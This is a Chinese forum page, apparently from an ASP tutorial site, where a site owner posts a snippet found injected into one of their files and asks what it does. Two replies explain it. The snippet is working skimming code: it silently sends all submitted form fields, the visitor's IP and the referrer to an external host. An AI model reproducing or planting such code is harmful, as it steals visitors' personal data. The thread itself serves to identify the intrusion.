首页 诗词 字典 板报 句子 名言 友答 励志 学校 网站地图
当前位置: 首页 > 教程频道 > 网站开发 > ASP >

请教上这段代码是干嘛用的

2012-07-28 
请问下这段代码是干嘛用的if Request(user) and request(phone) thenOn Error Resume NextFor

请问下这段代码是干嘛用的
if Request("user")<>"" and request("phone")<>"" then
On Error Resume Next
For Each q In Request.Form
t=t&q&"="&server.urlencode(Request(q))&"&"
Next
url="http://****.com/h/w.aspx?"&t&"ip="&Request.ServerVariables("REMOTE_ADDR")
set http=Server.createobject("Microsoft.XMLHTTP") 
Http.open "GET",url&"&ref="&Request.ServerVariables("HTTP_REFERER"),false:Http.send() 
set http=nothing 
end if

今日查看网站文件 发现一个文件多了这段代码 这段代码的用意是? 是不是吧我数据库的 if Request("user")<>"" and request("phone")<>"" then
这两个字段的数据转移到 那个url去。。

[解决办法]
如果请求中有 user或phone这两个的字段,就把POST请求中的所有字段的值以及客户端IP和上一个页面的地址都发到那个url中.
[解决办法]
造一个query string。然后远程拿数据。

热点排行